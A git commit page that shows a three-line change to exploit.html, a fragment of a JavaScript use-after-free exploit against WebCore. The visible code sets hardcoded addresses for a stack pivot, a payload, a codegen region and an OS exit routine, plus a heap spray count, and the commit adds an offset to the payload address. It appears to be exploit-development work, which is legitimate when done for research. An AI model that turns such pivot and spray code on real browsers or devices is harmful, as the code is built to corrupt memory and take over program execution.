Browse Source

delta

pull/1/head
Winbagility 2 years ago
parent
commit
9998a2ef6a
1 changed files with 3 additions and 2 deletions
  1. +3
    -2
      exploit.html

+ 3
- 2
exploit.html View File

@@ -7,10 +7,11 @@ Result: Bug is present, crash
<script>
function UaF(a)
{
var delta = 0x400000; //from 0x0 to 0x400000 step by 0x100000
var OS_Exit = 0x0101cd80;
var pivotAdress = 0x010ADDCC;
var pivotAdress = 0x010ADDCC;
var pivotAdressAdress = 0x1B100000; //r6
var payloadAdress = 0x1D800000;
var payloadAdress = 0x1D800000 + delta;
var codegenAddress = 0x01800000;
var sizeWebCoreImageLoader = 0x18;
var sprayCount = 0x1000;

Loading…
Cancel
Save